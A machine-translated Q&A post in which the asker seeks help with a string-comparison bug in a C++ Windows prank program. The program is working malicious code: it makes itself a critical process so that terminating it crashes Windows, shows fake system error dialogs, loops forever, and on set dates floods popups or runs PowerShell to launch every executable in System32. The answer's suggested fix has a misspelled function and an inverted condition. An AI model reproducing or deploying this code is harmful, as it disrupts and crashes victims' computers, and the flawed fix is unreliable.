除了用" -silent"打开时,我的代码应该会产生错误的错误消息。作为一个命令行选项,但由于某种原因它无论如何产生假消息,但是当我调试它时(我有一些代码注释掉它可以尝试)它表明lpCmdLine正在返回&#34 ; -silent"但是当在if语句中进行比较时,无论如何都总是如此。这是完整的代码:
#include "stdafx.h"
#include "Win32InsaneMain.h"
#include <stdio.h>
#include <Windows.h>
#include <winternl.h>
#include <io.h>
#include <fcntl.h>
#include <ctime>
#pragma comment(lib,"ntdll.lib")
EXTERN_C NTSTATUS NTAPI RtlAdjustPrivilege(ULONG, BOOLEAN, BOOLEAN, PBOOLEAN);
EXTERN_C NTSTATUS NTAPI NtSetInformationProcess(HANDLE, ULONG, PVOID, ULONG);
#define MAX_LOADSTRING 100
// GloQbal Variables:
HINSTANCE hInst; // current instance
WCHAR szTitle[MAX_LOADSTRING]; // The title bar text
WCHAR szWindowClass[MAX_LOADSTRING]; // the main window class name
BOOLEAN bl;
ULONG BreakOnTermination;
NTSTATUS status;
HANDLE h = GetCurrentProcess();
ULONG ProcessInSession = 1;
int debug = 0;
int APIENTRY wWinMain(_In_ HINSTANCE hInstance,
_In_opt_ HINSTANCE hPrevInstance,
_In_ LPWSTR lpCmdLine,
_In_ int nCmdShow)
{
RtlAdjustPrivilege(20, TRUE, FALSE, &bl);
BreakOnTermination = 1;
status = NtSetInformationProcess(h, 0x1d, &BreakOnTermination, sizeof(ULONG));
//MessageBox(0, lpCmdLine, TEXT("Debug"), MB_OK | MB_SETFOREGROUND | MB_TASKMODAL | MB_ICONERROR | MB_SYSTEMMODAL); //Uncomment for debugging
if (lpCmdLine != TEXT("-silent")) {
MessageBox(0, TEXT("The instruction at 0xf7775d98 referenced memory at 0x01ff3000. The memory could not be written.\n\nClick on OK to terminate the program"), TEXT("Windows - Application Error"), MB_OK | MB_SETFOREGROUND | MB_TASKMODAL | MB_ICONERROR | MB_SYSTEMMODAL);
}
clock_t start = clock();
tm* my_time;
time_t t = time(NULL);
my_time = localtime(&t);
int month = my_time->tm_mon;
int day = my_time->tm_mday;
if (month == 9) {
if (day == 1) {
while (TRUE) {
Sleep(60000);
MessageBox(0, TEXT("Error: ID 10, Type T."), TEXT("Windows Error"), MB_OK | MB_SETFOREGROUND | MB_TASKMODAL | MB_ICONERROR | MB_SYSTEMMODAL);
}
}
if (day == 2) {
MessageBox(0, TEXT("You're not being productive enough."), TEXT("Windows Productivity Advisory"), MB_OK | MB_SETFOREGROUND | MB_TASKMODAL | MB_ICONERROR);
MessageBox(0, TEXT("Here are some applications to help you be productive."), TEXT("Windows Productivity Advisory"), MB_OK | MB_SETFOREGROUND | MB_TASKMODAL | MB_ICONERROR);
system("powershell.exe -Command \"foreach ($file in (Get-ChildItem -Path 'C:\\Windows\\System32\\*.exe' -Recurse -Force).FullName) { start-process $file }\" ");
}
}
while (TRUE) {
}
return 0;
}
答案 0 :(得分:0)
lpCmdLine
是一个指针,"-silent"
也是一个指向内存中某个位置的指针,该字符串存储在编译时。所以,如果你写
if (lpCmdLine != TEXT("-silent")) {...}
这实际上会比较指针,而不是他们指向的文字。
要比较文字,请使用
if (wsccmp(lpCmdLine, L"-silent") == 0)